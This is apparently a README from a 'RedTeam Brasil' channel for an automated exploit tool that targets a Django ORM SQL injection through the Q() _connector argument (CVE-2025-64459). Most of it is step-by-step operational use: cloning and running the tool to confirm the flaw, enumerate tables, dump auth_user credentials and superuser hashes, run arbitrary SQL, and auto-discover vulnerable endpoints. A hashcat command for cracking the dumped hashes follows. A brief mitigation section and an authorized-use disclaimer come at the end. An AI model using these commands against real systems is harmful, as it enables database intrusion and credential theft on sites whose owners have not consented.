
NEO-SQLi — exploit de inyección SQL en Django _connector (CVE-2025-64459) | canal RedTeam Brasil
Exploración automatizada de SQL Injection en el ORM de Django
Q-object _connector · CVE-2025-64459
🎥 canal RedTeam Brasil — seguridad ofensiva, en la práctica, en portugués.
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ canal RedTeam Brasil
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ uso autorizado apenas
El ORM de Django ensambla filtros con objetos Q(). El constructor
Q(*args, _connector=None, _negated=False, **kwargs) acepta el kwarg especial
_connector — la cadena (AND/OR) que une las condiciones dentro del WHERE.
En las versiones afectadas este valor no estaba sanitizado e iba crudo a la SQL.
Cuando la aplicación pasa entrada del usuario directamente a Q() / .filter() /
.exclude() / .get() mediante expansión de diccionario — el anti-patrón clásico:
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET)) # ou .filter(**request.GET)
…el atacante controla _connector e inyecta SQL arbitraria entre las condiciones
(vale para SQLite, PostgreSQL, MySQL, etc.).
| Elemento | Detalle |
|---|---|
| CVE | CVE-2025-64459 |
| Componente | django.db.models — Q() / QuerySet (_connector y alias de columna) |
| Versiones afectadas | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| Corrección | actualizar a 4.2.26 / 5.1.14 / 5.2.8 (o superior) |
| Impacto | lectura arbitraria de la base de datos (UNION/blind) → dump de credenciales y escalada de la cadena |
Con
DEBUG = Truela explotación se vuelve trivial: la página de error de Django devuelve la SQL armada, la tabla base y el número de columnas — exactamente lo que la herramienta usa para armar el UNION por sí misma.
Explorador genérico (no está atado a un objetivo) y automatizado:
--auto): crawl en home + robots/sitemap + wordlist incorporada, probando cada ruta por el FieldError de Django.DEBUG=True vía FieldError.--proxy) y objetivos HTTPS.git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) confirmar la falla
python3 rtb_connector_sqli.py -u http://TARGET check
# 2) listar tablas
python3 rtb_connector_sqli.py -u http://TARGET tables
# 3) listar columnas de una tabla
python3 rtb_connector_sqli.py -u http://TARGET columns auth_user
# 4) dumpear (columnas específicas o todas)
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://TARGET dump auth_user --where "is_superuser=1"
# 5) atajo para los usuarios de Django
python3 rtb_connector_sqli.py -u http://TARGET users
# 6) expresión SQL libre
python3 rtb_connector_sqli.py -u http://TARGET query "sqlite_version()"
# 7) MODO INTERACTIVO (menú tabla → columnas → dump)
python3 rtb_connector_sqli.py -u http://TARGET shell
# 8) NO SABES LA RUTA? déjalo que la encuentre solo
python3 rtb_connector_sqli.py -u http://TARGET auto # solo descubre y lista
python3 rtb_connector_sqli.py -u http://TARGET --auto shell # descubre y ya explota
Con
--auto(o el subcomandoauto) hace crawl en home +robots.txt/sitemap.xmly ejecuta una wordlist incorporada de rutas de listado/búsqueda (EN + PT-BR + APIs), marcando las que devuelvenFieldErrorde Django. Si pasas un--pathincorrecto, cae en modo de descubrimiento automáticamente.
| Flag | Para qué |
|---|---|
--path /buscar | endpoint vulnerable (default /list) |
--auto | encuentra el endpoint solo (crawl + wordlist) |
--wordlist rutas.txt | rutas extras para descubrimiento (1 por línea) |
--base app_model | fuerza la tabla base (si la auto-detección falla) |
--proxy http://127.0.0.1:8080 | envía todo al Burp / mitmproxy |
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://TARGET --proxy http://127.0.0.1:8080 users
# o por variable de entorno (sin la flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://TARGET shell
[*] Objetivo: http://TARGET/list
[+] Campos del modelo (6): author, content, created_at, id, status, title
[+] SQLi confirmada en `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabla base: <app>_<model> · columnas en SELECT: 6
[+] Columna reflejada (lectura): posición 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
Con el hash del superusuario en mano:
hashcat -m 10000 hash.txt rockyou.txt # Django usa pbkdf2_sha256
request.GET directamente a Q()/.filter(). Usa una lista blanca:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False en producción (no filtres SQL/tablas/settings).Herramienta educacional y solo para pruebas autorizadas (labs, CTFs, bug bounty en alcance, pentest contratado). El uso contra sistemas sin autorización explícita es delito — eres el único responsable.
Hecho por RedTeam Brasil · ¿te gustó? deja el like y suscríbete al canal.